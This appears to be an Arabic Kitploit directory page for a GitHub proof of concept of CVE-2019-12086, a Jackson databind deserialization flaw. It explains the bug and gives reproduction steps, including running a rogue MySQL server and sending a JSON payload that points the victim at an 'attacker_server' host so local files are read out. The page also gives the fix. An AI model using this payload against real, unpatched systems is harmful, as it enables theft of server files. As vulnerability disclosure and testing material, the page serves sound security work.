Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-12086-jackson-databind-file-read — استغلال إثبات المفهوم لـ CVE-2019-12086: ثغرة إلغاء تسلسل Jackson databind تتيح قراءة ملفات عشوائية عبر خادم MySQL خبيث عند تمكين Default Typing. | Kitploit
أدوات/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

استغلال إثبات المفهوم لـ CVE-2019-12086: ثغرة إلغاء تسلسل Jackson databind تتيح قراءة ملفات عشوائية عبر خادم MySQL خبيث عند تمكين Default Typing.

عرض المستودع
1211منذ 7 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

jackson-CVE-2019-12086

وصف الثغرة

عند تفعيل Default Typing، وفي حال وجود إصدار mysql-connector-java 8.0.15 أو أقل (صدر في 2019.2.1) في classpath، يمكن للمهاجم قراءة أي ملف عن طريق إرسال بيانات json خبيثة. مكتبة mysql-connector-java هي موصل MySQL JDBC الشائع الاستخدام للاتصال بقواعد البيانات.

وصف CVE كما يلي:

تم اكتشاف مشكلة تعدد الأشكال (Polymorphic Typing) في FasterXML jackson-databind 2.x قبل إصدار 2.9.9. عند تفعيل Default Typing (عمومًا أو لخاصية معينة) لنقطة نهاية JSON مكشوفة خارجيًا، وتواجد ملف mysql-connector-java jar (الإصدار 8.0.14 أو أقدم) في classpath، وتمكن المهاجم من استضافة خادم MySQL مخصص يمكن للضحية الوصول إليه، يمكن للمهاجم إرسال رسالة JSON مصممة بعناية تسمح له بقراءة ملفات محلية عشوائية على الخادم. يحدث ذلك بسبب غياب التحقق من com.mysql.cj.jdbc.admin.MiniAdmin.

تحليل الثغرة

تفاصيل الثغرة:

  1. عند تفعيل Default Typing، يمكن لجاكسون (jackson) أثناء إلغاء تسلسل json أن يقوم بإلغاء تسلسل فئة محددة، ويمكنه تحديد قيمة من نوع أساسي كقيمة لوسيط المُنشئ (constructor) لهذه الفئة.
  2. يستقبل مُنشئ com.mysql.cj.jdbc.admin.MiniAdmin قيمة من نوع string تمثل jdbcURL، وعند تهيئة هذه الفئة يتم الاتصال بقاعدة بيانات MySQL المحددة في jdbcURL.
  3. في الإصدارات من mysql-connector-java 8.0.15 (صدر في 2019.2.1) أو أقل، يمكن لخادم MySQL خبيث قراءة أي ملف محلي من عميل MySQL، مما يؤدي إلى حدوث الثغرة.

إعادة إنتاج الثغرة

  1. شغّل خادم MySQL الخبيث: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. عرض mysql.log في نفس الدليل:

tail -f mysql.log

  1. أرسل json التالي إلى التطبيق المصاب بالثغرة:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. عندما يقوم jackson بإلغاء تسلسل سلسلة json الخبيثة، سيتم الاتصال بخادم MySQL الخبيث، وسيتم كتابة محتويات الملف المقروء في ملف mysql.log الخاص بالخادم الخبيث.
root@kitploit:~
# edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
$ docker build . 

إصلاح الثغرة

قم بترقية jackson إلى الإصدار 2.9.9 أو أحدث.

تنزيل الأداة